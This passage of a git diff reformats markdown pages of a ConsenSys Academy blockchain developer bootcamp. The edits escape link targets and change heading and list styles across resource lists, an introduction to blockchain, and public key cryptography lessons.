Figures](https://www.notion.so/2438c01d787b4dfd8ba3352011f194ff?v=0e065bfd666b4bc4a27216301faf1de1&p=eb0a863295a24191a6eb78a026347381){target=_blank} Go through this list and follow them! +- [Twitter Lists from Aftab Hossain (DCinvestor)](https://twitter.com/iamDCinvestor/lists){target=\_blank} +- [@ConsensysAcad](https://twitter.com/consensysacad){target=\_blank} +- [Twitter List from John Brennan](https://twitter.com/i/lists/1240026040619106306?s=20){target=\_blank} +- [@ConsenSys](https://twitter.com/consensys){target=\_blank} +- [Basecamp's list of blockchain Cultural Figures](https://www.notion.so/2438c01d787b4dfd8ba3352011f194ff?v=0e065bfd666b4bc4a27216301faf1de1&p=eb0a863295a24191a6eb78a026347381){target=\_blank} Go through this list and follow them! ## Reddit -* [r/Ethereum](https://www.reddit.com/r/ethereum){target=_blank} -* [r/EthFinance](https://www.reddit.com/r/ethfinance){target=_blank} -* [r/EthStakers](https://www.reddit.com/r/ethstakers){target=_blank} -* [r/CryptoCurrency](https://www.reddit.com/r/CryptoCurrency/){target=_blank} -* [r/EthDev](https://www.reddit.com/r/ethdev/){target=_blank} +- [r/Ethereum](https://www.reddit.com/r/ethereum){target=\_blank} +- [r/EthFinance](https://www.reddit.com/r/ethfinance){target=\_blank} +- [r/EthStakers](https://www.reddit.com/r/ethstakers){target=\_blank} +- [r/CryptoCurrency](https://www.reddit.com/r/CryptoCurrency/){target=\_blank} +- [r/EthDev](https://www.reddit.com/r/ethdev/){target=\_blank} ## Newsletters -* [Signal](https://share.hsforms.com/1HiFwsb55S5GUf-EOe0KP8Q2urwb?email=){target=_blank} ConsenSys' Developer Newsletter -* [Week In Ethereum](https://weekinethereumnews.com/){target=_blank} A weekly round-up of all things Ethereum -* [EthHub](https://ethhub.io/){target=_blank} Another weekly news round-up -* [Economics Design (detailed dives into DeFi and crypto topics)](https://economicsdesign.substack.com/){target=_blank} -* [Decrypt](https://decrypt.co/){target=_blank} the Web 3 news site has a newsletter you can sign up for which delivers top stories from the day -* [Tally](https://newsletter.withtally.com/?no_cover=true){target=_blank} Great roundup of DAO governance votes -* [DeFi Weekly](https://defiweekly.substack.com/){target=_blank} -* [Daily Gwei](https://thedailygwei.substack.com/){target=_blank} +- [Signal](https://share.hsforms.com/1HiFwsb55S5GUf-EOe0KP8Q2urwb?email=){target=\_blank} ConsenSys' Developer Newsletter +- [Week In Ethereum](https://weekinethereumnews.com/){target=\_blank} A weekly round-up of all things Ethereum +- [EthHub](https://ethhub.io/){target=\_blank} Another weekly news round-up +- [Economics Design (detailed dives into DeFi and crypto topics)](https://economicsdesign.substack.com/){target=\_blank} +- [Decrypt](https://decrypt.co/){target=\_blank} the Web 3 news site has a newsletter you can sign up for which delivers top stories from the day +- [Tally](https://newsletter.withtally.com/?no_cover=true){target=\_blank} Great roundup of DAO governance votes +- [DeFi Weekly](https://defiweekly.substack.com/){target=\_blank} +- [Daily Gwei](https://thedailygwei.substack.com/){target=\_blank} ## Websites -- [The Ethereum Wiki](https://eth.wiki/){target=_blank} -- [Rekt](https://rekt.news/){target=_blank} -- [Glassnode Insights](https://insights.glassnode.com/){target=_blank} -- [The Defiant](https://thedefiant.io/){target=_blank} -- [Decrypt](https://decrypt.co){target=_blank} -- [Basecamp](https://www.notion.so/qtativ/Basecamp-55bd8855ed804a449985a0cec6540ae1){target=_blank} and Basecamp's [Blue Chip Defi Docs and Audits](https://www.notion.so/2438c01d787b4dfd8ba3352011f194ff?v=0e065bfd666b4bc4a27216301faf1de1&p=f0a08659cf81453996f3f1250d3cab53){target=_blank} -- [Ethereum Stack Exchange](https://ethereum.stackexchange.com/){target=_blank} -- [Mirror.xyz](https://consensys.net/blog/metamask/mirror-xyz-review-how-to-use-metamask-to-compete-in-the-write-race/){target=_blank} Read about this interesting writing platform here -- [The Daily Ape](http://thedailyape.com){target=_blank} +- [The Ethereum Wiki](https://eth.wiki/){target=\_blank} +- [Rekt](https://rekt.news/){target=\_blank} +- [Glassnode Insights](https://insights.glassnode.com/){target=\_blank} +- [The Defiant](https://thedefiant.io/){target=\_blank} +- [Decrypt](https://decrypt.co){target=\_blank} +- [Basecamp](https://www.notion.so/qtativ/Basecamp-55bd8855ed804a449985a0cec6540ae1){target=\_blank} and Basecamp's [Blue Chip Defi Docs and Audits](https://www.notion.so/2438c01d787b4dfd8ba3352011f194ff?v=0e065bfd666b4bc4a27216301faf1de1&p=f0a08659cf81453996f3f1250d3cab53){target=\_blank} +- [Ethereum Stack Exchange](https://ethereum.stackexchange.com/){target=\_blank} +- [Mirror.xyz](https://consensys.net/blog/metamask/mirror-xyz-review-how-to-use-metamask-to-compete-in-the-write-race/){target=\_blank} Read about this interesting writing platform here +- [The Daily Ape](http://thedailyape.com){target=\_blank} ## YouTube -- [Finematics](https://finematics.com/){target=_blank} Critical way of learning about blockchain concepts! -- [Bankless](https://www.youtube.com/c/Bankless/videos){target=_blank} -- [Peep an EIP](https://www.youtube.com/watch?v=sc1x_du6UXk&list=PL4cwHXAawZxqu0PKKyMzG_3BJV_xZTi1F){target=_blank} -- [Eat the Blocks](https://www.youtube.com/channel/UCZM8XQjNOyG2ElPpEUtNasA){target=_blank} -- [Dapp University](https://www.youtube.com/channel/UCY0xL8V6NzzFcwzHCgB8orQ){target=_blank} -- [Patrick Collins](https://www.youtube.com/channel/UCn-3f8tw_E1jZvhuHatROwA){target=_blank} -- [Nader Dabit](https://www.youtube.com/user/boyindasouth){target=_blank} -- [Dan Finlay on How Ethereum Works](https://www.youtube.com/watch?v=-SMliFtoPn8&list=PLvf2RZCNC-UD2RLRs8jnIkhG8iXiKIH9w){target=_blank} -- [Coin Bureau](https://www.youtube.com/channel/UCqK_GSMbpiV8spgD3ZGloSw){target=_blank} + +- [Finematics](https://finematics.com/){target=\_blank} Critical way of learning about blockchain concepts! +- [Bankless](https://www.youtube.com/c/Bankless/videos){target=\_blank} +- [Peep an EIP](https://www.youtube.com/watch?v=sc1x_du6UXk&list=PL4cwHXAawZxqu0PKKyMzG_3BJV_xZTi1F){target=\_blank} +- [Eat the Blocks](https://www.youtube.com/channel/UCZM8XQjNOyG2ElPpEUtNasA){target=\_blank} +- [Dapp University](https://www.youtube.com/channel/UCY0xL8V6NzzFcwzHCgB8orQ){target=\_blank} +- [Patrick Collins](https://www.youtube.com/channel/UCn-3f8tw_E1jZvhuHatROwA){target=\_blank} +- [Nader Dabit](https://www.youtube.com/user/boyindasouth){target=\_blank} +- [Dan Finlay on How Ethereum Works](https://www.youtube.com/watch?v=-SMliFtoPn8&list=PLvf2RZCNC-UD2RLRs8jnIkhG8iXiKIH9w){target=\_blank} +- [Coin Bureau](https://www.youtube.com/channel/UCqK_GSMbpiV8spgD3ZGloSw){target=\_blank} ## Podcasts -- [Zero Knowledge](https://www.zeroknowledge.fm/){target=_blank} -- [Unchained](https://unchainedpodcast.com/){target=_blank} -- [Epicenter](https://epicenter.tv){target=_blank} -- [Mapping out Eth 2](https://www.coindesk.com/podcasts/mapping-out-eth-2-0/){target=_blank} -- [Bankless](https://open.spotify.com/show/41TNnXSv5ExcQSzEGLlGhy?si=5FwQQFY1QHyUlaLoN2k-lg){target=_blank} -- [Uncommon Core](https://uncommoncore.co/podcast/){target=_blank} + +- [Zero Knowledge](https://www.zeroknowledge.fm/){target=\_blank} +- [Unchained](https://unchainedpodcast.com/){target=\_blank} +- [Epicenter](https://epicenter.tv){target=\_blank} +- [Mapping out Eth 2](https://www.coindesk.com/podcasts/mapping-out-eth-2-0/){target=\_blank} +- [Bankless](https://open.spotify.com/show/41TNnXSv5ExcQSzEGLlGhy?si=5FwQQFY1QHyUlaLoN2k-lg){target=\_blank} +- [Uncommon Core](https://uncommoncore.co/podcast/){target=\_blank} ## Learning Paths -- [EthernautDAO](https://mint.ethernautdao.io/){target=_blank} Decentralized organization focussed on training developers to become blockchain developers and get them jobs! [Discord here](https://discord.gg/RQ5WYDxUF3){target=_blank} -- [How to Get Into Web 3 as a Developer (Nader Dabit)](https://dev.to/dabit3/how-to-get-into-ethereum-crypto-web3-as-a-developer-9l6){target=_blank} -- [Anett Rolikova's README for Crypto Beginners](https://github.com/anettrolikova/Crypto/blob/master/README.md){target=_blank} -- [Learning Resources from EthernautDAO](https://github.com/ethernautdao/resources){target=_blank} -- [DeFi Developer Roadmap](https://github.com/OffcierCia/DeFi-Developer-Road-Map){target=_blank} -- [Ethereum.org's Developer Guide](https://ethereum.org/en/developers/){target=_blank} -- [BuidlGuidl](https://buidlguidl.com/){target=_blank} -- [Cleverflare](https://cleverflare.com/#/){target=_blank} -- [Resources to Learn Web 3](https://twitter.com/wslyvh/status/1405493777347739654){target=_blank} -- [How to Become a DeFi Developer](https://defiweekly.substack.com/p/how-to-become-a-defi-developer){target=_blank} -- [Rabbithole.gg](https://rabbithole.gg){target=_blank} Place to learn and earn tokens -- [KERNEL Resources](https://kernel.community/en/resources/){target=_blank} From Gitcoin's KERNEL incubator program -- [Consensys' Ethereum Developer Tools List](https://github.com/ConsenSys/ethereum-developer-tools-list){target=_blank} -- [Comprehensive Solidity Tutorials](https://github.com/willitscale/learning-solidity){target=_blank} -- [CryptoZombies](https://cryptozombies.io/){target=_blank} -- [Visual Overview of Ethereum in 116 Slides](https://takenobu-hs.github.io/downloads/ethereum_evm_illustrated.pdf){target=_blank} -- [QuestBook-Learn Solidity](https://discord.gg/EwvRjGAS){target=_blank} A Discord server for beginners in Solidity -- [Chainshot](https://www.chainshot.com/){target=_blank} Educational resources on Solidity -- [UseWeb3](https://www.useweb3.xyz/){target=_blank} Mega-Aggregator of Ethereum educational resources, including courses, tutorials, newsletters \ No newline at end of file + +- [EthernautDAO](https://mint.ethernautdao.io/){target=\_blank} Decentralized organization focussed on training developers to become blockchain developers and get them jobs! [Discord here](https://discord.gg/RQ5WYDxUF3){target=\_blank} +- [How to Get Into Web 3 as a Developer (Nader Dabit)](https://dev.to/dabit3/how-to-get-into-ethereum-crypto-web3-as-a-developer-9l6){target=\_blank} +- [Anett Rolikova's README for Crypto Beginners](https://github.com/anettrolikova/Crypto/blob/master/README.md){target=\_blank} +- [Learning Resources from EthernautDAO](https://github.com/ethernautdao/resources){target=\_blank} +- [DeFi Developer Roadmap](https://github.com/OffcierCia/DeFi-Developer-Road-Map){target=\_blank} +- [Ethereum.org's Developer Guide](https://ethereum.org/en/developers/){target=\_blank} +- [BuidlGuidl](https://buidlguidl.com/){target=\_blank} +- [Cleverflare](https://cleverflare.com/#/){target=\_blank} +- [Resources to Learn Web 3](https://twitter.com/wslyvh/status/1405493777347739654){target=\_blank} +- [How to Become a DeFi Developer](https://defiweekly.substack.com/p/how-to-become-a-defi-developer){target=\_blank} +- [Rabbithole.gg](https://rabbithole.gg){target=\_blank} Place to learn and earn tokens +- [KERNEL Resources](https://kernel.community/en/resources/){target=\_blank} From Gitcoin's KERNEL incubator program +- [Consensys' Ethereum Developer Tools List](https://github.com/ConsenSys/ethereum-developer-tools-list){target=\_blank} +- [Comprehensive Solidity Tutorials](https://github.com/willitscale/learning-solidity){target=\_blank} +- [CryptoZombies](https://cryptozombies.io/){target=\_blank} +- [Visual Overview of Ethereum in 116 Slides](https://takenobu-hs.github.io/downloads/ethereum_evm_illustrated.pdf){target=\_blank} +- [QuestBook-Learn Solidity](https://discord.gg/EwvRjGAS){target=\_blank} A Discord server for beginners in Solidity +- [Chainshot](https://www.chainshot.com/){target=\_blank} Educational resources on Solidity +- [UseWeb3](https://www.useweb3.xyz/){target=\_blank} Mega-Aggregator of Ethereum educational resources, including courses, tutorials, newsletters diff --git a/docs/S00-intro/L7-advanced-students/index.md b/docs/S00-intro/L7-advanced-students/index.md index 9f2bb652..79e3719c 100644 --- a/docs/S00-intro/L7-advanced-students/index.md +++ b/docs/S00-intro/L7-advanced-students/index.md @@ -4,8 +4,8 @@ Some students may find themselves moving through the material faster than others **Write a Blog Post for ConsenSys** We are always looking for content on new and exciting topics in the space. Reach out to the instructors with any ideas you have or if you'd like some suggestions. It's easier than you think! -**Contribute to the "How'd They Build That?" Series** We're starting a series breaking down some of the more popular smart-contract based applications as a resource for other students. The idea would be to explain how the different parts piece together to form the product. First on the list are [MakerDao,](http://makerdao.com){target=_blank} [Yearn Finance,](http://yearn.finance){target=_blank} [Uniswap,](http://uniswap.org){target=_blank} [Compound](https://compound.finance){target=_blank} and [Curve Finance.](http://curve.fi){target=_blank} We're also open to suggestions! +**Contribute to the "How'd They Build That?" Series** We're starting a series breaking down some of the more popular smart-contract based applications as a resource for other students. The idea would be to explain how the different parts piece together to form the product. First on the list are [MakerDao](http://makerdao.com){target=\_blank}, [Yearn Finance](http://yearn.finance){target=\_blank}, [Uniswap](http://uniswap.org){target=\_blank}, [Compound](https://compound.finance){target=\_blank} and [Curve Finance](http://curve.fi){target=\_blank}. We're also open to suggestions! -**Find a repo and start on a Good First Issue** [MetaMask,](https://github.com/MetaMask/metamask-extension/issues?q=is%3Aissue+is%3Aopen+label%3Aux-enhancement+-label%3AN00-needsDesign+label%3Agood-first-issue){target=_blank} [Truffle,](https://github.com/trufflesuite/truffle/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22){target=_blank} [Go Ethereum (geth),](https://github.com/ethereum/go-ethereum/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22){target=_blank} [Web3.js,](https://github.com/ChainSafe/web3.js/issues?q=is%3Aopen+is%3Aissue+label%3A%22Good+First+Issue%22){target=_blank} [Prysmatic Labs,](https://github.com/prysmaticlabs/prysm/issues?q=is%3Aopen+is%3Aissue+label%3A%22Good+First+Issue%22){target=_blank} [Teku,](https://github.com/ConsenSys/teku/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue+%3Araising_hand%3A%22){target=_blank} [Quilt (ConsenSys R&D),](https://github.com/quilt/etk/issues){target=_blank} or [Hyperledger Besu](http://github.com/hyperledger/besu){target=_blank}. +**Find a repo and start on a Good First Issue** [MetaMask](https://github.com/MetaMask/metamask-extension/issues?q=is%3Aissue+is%3Aopen+label%3Aux-enhancement+-label%3AN00-needsDesign+label%3Agood-first-issue){target=\_blank}, [Truffle](https://github.com/trufflesuite/truffle/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22){target=\_blank}, [Go Ethereum (geth)](https://github.com/ethereum/go-ethereum/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22){target=\_blank}, [Web3.js](https://github.com/ChainSafe/web3.js/issues?q=is%3Aopen+is%3Aissue+label%3A%22Good+First+Issue%22){target=\_blank}, [Prysmatic Labs](https://github.com/prysmaticlabs/prysm/issues?q=is%3Aopen+is%3Aissue+label%3A%22Good+First+Issue%22){target=\_blank}, [Teku](https://github.com/ConsenSys/teku/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue+%3Araising_hand%3A%22){target=\_blank}, [Quilt (ConsenSys R&D)](https://github.com/quilt/etk/issues){target=\_blank} or [Hyperledger Besu](http://github.com/hyperledger/besu){target=\_blank}. -**Suggest new modules or features for this course** We're always looking to improve this course. If you feel as though something is missing, please let us know! [Fill out an issue on our repo](https://github.com/ConsenSys-Academy/Blockchain-Developer-Bootcamp/labels/request%20for%20material){target=_blank} and label it as "Request for Material." +**Suggest new modules or features for this course** We're always looking to improve this course. If you feel as though something is missing, please let us know! [Fill out an issue on our repo](https://github.com/ConsenSys-Academy/Blockchain-Developer-Bootcamp/labels/request%20for%20material){target=\_blank} and label it as "Request for Material." diff --git a/docs/S00-intro/L8-whats-exciting/index.md b/docs/S00-intro/L8-whats-exciting/index.md index c73545be..cada1f62 100644 --- a/docs/S00-intro/L8-whats-exciting/index.md +++ b/docs/S00-intro/L8-whats-exciting/index.md @@ -1,3 +1,3 @@ Before we dive into the course, we'd like to give you an overview of why we think blockchain is exciting to study at this moment in history. -*This introductory material also appears in our Blockchain Essentials course. While we will be going into much deeper technical detail, this is meant to give you an overview of the blockchain to help ground us later when we dive deeper.* +_This introductory material also appears in our Blockchain Essentials course. While we will be going into much deeper technical detail, this is meant to give you an overview of the blockchain to help ground us later when we dive deeper._ diff --git a/docs/S01-fundamentals/M0-intro/index.md b/docs/S01-fundamentals/M0-intro/index.md index c2591f6d..6b6ed5c0 100644 --- a/docs/S01-fundamentals/M0-intro/index.md +++ b/docs/S01-fundamentals/M0-intro/index.md @@ -1,44 +1,37 @@ -Fundamentals -============ +# Fundamentals -**dusts hands* Well, well...Looks like we finally made it to the course content! Took us long enough, eh?* Despite the Bitcoin white paper being written in 2008, Bitcoin, and blockchain generally, should be seen as the continuation of decades of technological development. In this first section, Fundamentals, we'll learn what those developments are and how they combine to become what we call blockchain. +_dusts hands_ Well, well...Looks like we finally made it to the course content! Took us long enough, eh? Despite the Bitcoin white paper being written in 2008, Bitcoin, and blockchain generally, should be seen as the continuation of decades of technological development. In this first section, Fundamentals, we'll learn what those developments are and how they combine to become what we call blockchain. This first section will lay the foundation for the rest of this course but we hope it will also broaden your understanding of computer programming, security and networking. The cryptographic and distributed computing tools you'll learn in this section are used in every facet of digital life. Online banking, communication networks, cloud providers, aerospace engineering and many more fields pull from similar starting points. By learning them here, you'll better your understanding of those systems, too. -The Argument for Blockchain -=========================== +# The Argument for Blockchain -The Current State of Affairs ----------------------------- +## The Current State of Affairs In our financial transactions, we always use an intermediary, be it a bank or a credit card company. We use these institutions because they have cultivated and embodied in society our values of trust, security, and accessibility (You can call someone if you have a problem, there’s a central website, for example) -![illustration showing two people need a bank to interact](../../img/S01/argument-for-blockchain-1.png) - -What's the Problem? -------------------- +![illustration showing two people need a bank to interact](../../img/S01/argument-for-blockchain-1.png) -However, in recent years, those values have been violated in different ways (financial crashes, data breaches, or monopolization leading to poor customer service), which has led people to question whether there's a different way these processes can be done . +## What's the Problem? -At the same time, there's been an unprecedented amount of digitalization that has also occurred in all parts of our life, but also finance– it's not unusual to cash a check by phone, or pay off a credit card or utility bill by computer. +However, in recent years, those values have been violated in different ways (financial crashes, data breaches, or monopolization leading to poor customer service), which has led people to question whether there's a different way these processes can be done . + +At the same time, there's been an unprecedented amount of digitalization that has also occurred in all parts of our life, but also finance– it's not unusual to cash a check by phone, or pay off a credit card or utility bill by computer. ### What's the Proposed Solution? -Significant system failures and increased digitalization led blockchain developers to consider alternatives to centralized financial institutions. Specifically, they looked to develop a **protocol** for financial transactions. +Significant system failures and increased digitalization led blockchain developers to consider alternatives to centralized financial institutions. Specifically, they looked to develop a **protocol** for financial transactions. -A protocol is the reason why, when you dial a phone number, there's not an operator on the other end connecting your line to another. Or, when you type in a web address, you don't first leave your house to get that data. These are protocols that have been developed which have eliminated intermediate, human-mediated steps. +A protocol is the reason why, when you dial a phone number, there's not an operator on the other end connecting your line to another. Or, when you type in a web address, you don't first leave your house to get that data. These are protocols that have been developed which have eliminated intermediate, human-mediated steps. -This is the value proposition of blockchain. A peer-to-peer protocol which allows people to interact **directly** with each other, rather than going through a third party. People are so excited about blockchain because it aims to make important transactions (financial transactions or identity confirmation) peer-to-peer, removing the need for a middle player. +This is the value proposition of blockchain. A peer-to-peer protocol which allows people to interact **directly** with each other, rather than going through a third party. People are so excited about blockchain because it aims to make important transactions (financial transactions or identity confirmation) peer-to-peer, removing the need for a middle player. -![illustration showing peer-to-peer protocols](../../img/S01/argument-for-blockchain-3.png) +![illustration showing peer-to-peer protocols](../../img/S01/argument-for-blockchain-3.png) -Services such as Twilio have automated text message and receiving by allowing programmers to simply import the Twilio library into their program and, presto! They can send and receive text messages. Blockchain protocols such as Ethereum can be seen in a similar light – import Ethereum libraries (such as web3.js) and you can begin programmatically sending and receiving money. Setting up a bank account takes weeks, but with Ethereum, you can setup accounts, transfer funds and much more all from within your program. +Services such as Twilio have automated text message and receiving by allowing programmers to simply import the Twilio library into their program and, presto! They can send and receive text messages. Blockchain protocols such as Ethereum can be seen in a similar light – import Ethereum libraries (such as web3.js) and you can begin programmatically sending and receiving money. Setting up a bank account takes weeks, but with Ethereum, you can setup accounts, transfer funds and much more all from within your program. -The Ethereum protocol is strong enough to sustain financial transactions, but it can also support much more. You can use the distributed network to host self-executing programs. You can build decentralized systems of reputation, you can also persist global state in a secure, trustless way. All of these things are possible within the world of Ethereum. +The Ethereum protocol is strong enough to sustain financial transactions, but it can also support much more. You can use the distributed network to host self-executing programs. You can build decentralized systems of reputation, you can also persist global state in a secure, trustless way. All of these things are possible within the world of Ethereum. -What Makes Up a Protocol? -------------------------- +## What Makes Up a Protocol? In the following modules, we're going to examine the elements engineers have used to build the peer-to-peer blockchain protocol. We'll then see how systems like Bitcoin and Ethereum join these separate elements together to make a wholly new product: blockchain. Last, we'll talk about the development of Bitcoin and how you can start playing with the Ethereum blockchain right from your browser. - - diff --git a/docs/S01-fundamentals/M1-cryptography/L1-pub-key-crypto/index.md b/docs/S01-fundamentals/M1-cryptography/L1-pub-key-crypto/index.md index e66a17c5..e7f8d6c1 100644 --- a/docs/S01-fundamentals/M1-cryptography/L1-pub-key-crypto/index.md +++ b/docs/S01-fundamentals/M1-cryptography/L1-pub-key-crypto/index.md @@ -1,6 +1,3 @@ - Currently on LMS -================ +# Currently on LMS - This content is a video hosted on courses.consensys.net (for now) - - \ No newline at end of file +This content is a video hosted on courses.consensys.net (for now) diff --git a/docs/S01-fundamentals/M1-cryptography/L2-pub-key-crypto-additional/index.md b/docs/S01-fundamentals/M1-cryptography/L2-pub-key-crypto-additional/index.md index 67617dd9..21c48598 100644 --- a/docs/S01-fundamentals/M1-cryptography/L2-pub-key-crypto-additional/index.md +++ b/docs/S01-fundamentals/M1-cryptography/L2-pub-key-crypto-additional/index.md @@ -1,51 +1,46 @@ - Public Key Cryptography -======================= +# Public Key Cryptography - Public key cryptography is powerful in general because it is one of the few things on the planet that can create an [asymmetric power](https://searchsecurity.techtarget.com/definition/asymmetric-cryptography){target=_blank} imbalance. This means that, even if the largest corporation or government were to focus every available resource into figuring out a certain individual's private key, they will not be able to do it. Isn't that crazy!? This asymmetric power imbalance is so dramatic that in the 1990s, world governments fought against the use of public key cryptography. The argument was, because public key cryptography essentially cannot be broken, it represented a critical threat to the national security of governments like the United States. We'll discuss this history more in a following section, but know that at one point using this technology was almost illegal! +Public key cryptography is powerful in general because it is one of the few things on the planet that can create an [asymmetric power](https://www.techtarget.com/searchsecurity/definition/asymmetric-cryptography){target=\_blank} imbalance. This means that, even if the largest corporation or government were to focus every available resource into figuring out a certain individual's private key, they will not be able to do it. Isn't that crazy!? This asymmetric power imbalance is so dramatic that in the 1990s, world governments fought against the use of public key cryptography. The argument was, because public key cryptography essentially cannot be broken, it represented a critical threat to the national security of governments like the United States. We'll discuss this history more in a following section, but know that at one point using this technology was almost illegal! - Public key cryptography is powerful for blockchain specifically because it allows us to prove a message has been sent from a certain person holding a specific private key. This is a step in the direction of establishing identity in a peer-to-peer way. Remember, a blockchain protocol is trying to provide what banks or governments have previously provided but without those institutions as intermediaries. What public key cryptography does is mathematically prove a certain person holds a certain key. +Public key cryptography is powerful for blockchain specifically because it allows us to prove a message has been sent from a certain person holding a specific private key. This is a step in the direction of establishing identity in a peer-to-peer way. Remember, a blockchain protocol is trying to provide what banks or governments have previously provided but without those institutions as intermediaries. What public key cryptography does is mathematically prove a certain person holds a certain key. - Consequences ------------- +## Consequences - However, there's a big issue here. There's no way to determine who holds the key, just if they have the key. We are assuming the private key equals the owner of the assets, but what if someone steals your private key? This is a big security and user-experience issue for people coming into the blockchain and cryptocurrency world. +However, there's a big issue here. There's no way to determine who holds the key, just if they have the key. We are assuming the private key equals the owner of the assets, but what if someone steals your private key? This is a big security and user-experience issue for people coming into the blockchain and cryptocurrency world. - As consumers, users are probably used to being able to reset their passwords, recover their funds if there's fraud, or at least reach out to a service and get assistance in case of trouble. At its most basic, with users handling their own private keys, almost all of this disappears. +As consumers, users are probably used to being able to reset their passwords, recover their funds if there's fraud, or at least reach out to a service and get assistance in case of trouble. At its most basic, with users handling their own private keys, almost all of this disappears. - Even more troubling, regardless of the amount of messaging a user receives about protecting their private keys, many may not understand there is no safety net until it is too late. And for those users who are experienced, there are so many bad habits we've all developed as consumers which are hard to break. +Even more troubling, regardless of the amount of messaging a user receives about protecting their private keys, many may not understand there is no safety net until it is too late. And for those users who are experienced, there are so many bad habits we've all developed as consumers which are hard to break. - All this to say: [Not trusting is expensive.](https://twitter.com/danfinlay/status/1386474006937706496){target=_blank} Please be aware of how expensive it is, not only for yourself, but also for your users. Luckily, at the end of this section, we'll walk through some basic security considerations that **anyone** in the crypto space should adopt from Day 1 +All this to say: [Not trusting is expensive](https://twitter.com/danfinlay/status/1386474006937706496){target=\_blank}. Please be aware of how expensive it is, not only for yourself, but also for your users. Luckily, at the end of this section, we'll walk through some basic security considerations that **anyone** in the crypto space should adopt from Day 1 - Okay! Parental lecture over, stepping off of soapbox, and now time to play with some public keys cryptography! +Okay! Parental lecture over, stepping off of soapbox, and now time to play with some public keys cryptography! - Moar on Keys ------------- +## Moar on Keys - ![private all the keys meme, x all the y meme template](../../../img/S01/private-all-the-keys.jpeg) There are a ton of additional resources for public key cryptography, so we're going to break them up into different sections: **General Public Key Cryptography Resources**, **Blockchain / Ethereum-Specific Public Key Cryptography Resources** and **Advanced Public Key Cryptography Resources**. +![private all the keys meme, x all the y meme template](../../../img/S01/private-all-the-keys.jpeg) There are a ton of additional resources for public key cryptography, so we're going to break them up into different sections: **General Public Key Cryptography Resources**, **Blockchain / Ethereum-Specific Public Key Cryptography Resources** and **Advanced Public Key Cryptography Resources**. ### General Public Key Cryptography Resources - Know that in these examples, you will meet some lifetime friends, Alice and Bob. They are the most absolutely unimaginatively, Eurocentric named parties in every cryptographic key exchange (rather than using A and B). Please, *please* if you're ever teaching this to someone else use a more interesting name than Alice and Bob, like Akash and Basilia. But, it is the common way to discuss it and perhaps there's value in that commonality across cultures. +Know that in these examples, you will meet some lifetime friends, Alice and Bob. They are the most absolutely unimaginatively, Eurocentric named parties in every cryptographic key exchange (rather than using A and B). Please, _please_ if you're ever teaching this to someone else use a more interesting name than Alice and Bob, like Akash and Basilia. But, it is the common way to discuss it and perhaps there's value in that commonality across cultures. - * [Video & Interactive Code: ETH.Building with Key Pairs](https://youtu.be/9LtBDy67Tho){target=_blank} Excellent hands-on tutorial about public keypairs from Austin Griffith using his [ETH.Build platform](https://sandbox.eth.build/wofCrGxhc3Rfbm9kZV9pZMONAQ_EgcSDxIVsaW5rxItkw4zDrsKlxIfEiXPCnsKKwqLEjMOMw73CpHR5cGXCrElucHV0L0LEr3RvbsKjcG9zwpJ1xI4NwqRzaXplwpLDjMOIMsKlZsSCZ3PCgMKlb3LEiXIAwqRtxIhlAMKmxJXErnRzwpHCg8KkbmFtZcKgxKbEqGXDv8KkxJTElsOAwqdvxK_Fm8S6xZ_FocWjxaXEp8Spw7_CpcWra8Wdw4zDmsWzxaLFpMWmxKnCrm51bWJlcixib29sZWFuxbrElcW8w4DCqnByb8SpcnRpZXPCg8KldmFsdWXCqGPElGNrIMWjwqXGnnTGkMKmxLJ0xLTGk2PFr250AMShxIzEjgHGg2XCrURpc3DEgnkvV2F0Y2jEt8S5wpLDjQLCnsOMwrTEv8WBxYPHlBE8xYjFisWMxY7FkMaKBsWUxZbFmMWaxK_FncKExaDGgcW2xafFk8W7w4zDnsW6YcaJbMKgxa7FsMeqwpHHrMW0xoLFt8WXxpTElnPDgMe1x7fCoMaYxprGnMaexqDCgcawacayZcKlx4zHjmjCicSixI0BAseCwq_HhceHx4kvQWRkcsagc8eRxLrDjQUKw4zCqseZxYLHkwFWT8efYcWLxY3Fj8WRB8emxInHqMStx7zGgMW1x4LHscaVw4zDn8iKxpvGisiNc8KEwqtibG_GrMafU8eaMsKrx4hhY2Voxo_FkcKgyJDIksKnyKPIpcinxqPGpcanw5kqMHgzMmE5ZTkxOWNmODJkybY4ZDUwMjRlMcqCMGE1M2IwMzU1ybJlNGZixr7ImselyIHHhMeGyZnHisiVx4_IqceTAsKUxI7DoMiwx5sGSceexYnIt8ehyLrGigjIvcWXxZnJgMWcx73HrcmDyIHJhcSWw4zDo8iHZce4x7p0xbHKs8e_x6_EqQDIg8aWyrvHuMmJyIzGn3PIj8axxpDIlMeNx4_Kk8SOyLzIgcKuQ3LEqMS0L1Jlxrl2xorKnceUCMeUw7jKo8KCwqEww4pDITMzwqExLsi2yLjHosWRCcquyL_FscKSyYJlwqlbxaNzc8i3ZV3HgsKmxIRyxJVnxarJhsOpy73Cq1vFgGfFoXR1yKbMhsiBzIh0zIpuzIzHssOoyr7LgMu9wqdhyKTIpsyCzIfMicyLy4bEusOMw6bDjMOny4rJi8uMwoLCp8yBzINnZcK9dGhlIMaJYXIgx4YgxIRpxqx5IHfIkWggyZ1uZXnCqcyTzJXMl2XDmcKEyaw4NzVkMjBlYsqAZsuvNTlmyKTNnDLNp8uvMjM4NDk5NGEyzbM3NzEyODbNt2Mwzac2YjkwMTPEic27ZDFiZsqKMc2xzok0zoY3YTfNt2TKiMqQNsm4M82oxok4Nc6Nzb1jNzY5OMm_Y86AMmY3ZGE2zafJvc2izbTOpcm5MWE4zozLlAEDx4LCq8uZy5tvL8mVzJTLowHCrsqhy6jLqsusOmZmy7FWy7TKqsejcgTLucqwxbHClMu9wqxbxplpxqR0ZWvNksyZxafMm8ydzJ_JhsOgy73Cqs-fxpp2xIzGis-nxKnPqcyLzI3FrMu9y7_MuMyEz7Vlz7fMns-5a8OMw6HLvceZzJTHgsWpxbvFrcWvyr_Hqs-cyrRlzKXMp8inzKrMnMysxbvIhcykz73MutCXz6rMrcOAz7vNlceNzZfQn9CZxpXMrsOjw4zDqMu9zIhpzJRlZNCK0KHMs8ady4zChcy3yKfMhMy8zL7NgMaRzYPNhc2HzYnNi82NzY_Etc2SyIrPoceNZUvNksOZQsmszbo3zq5jOM2iybjNvm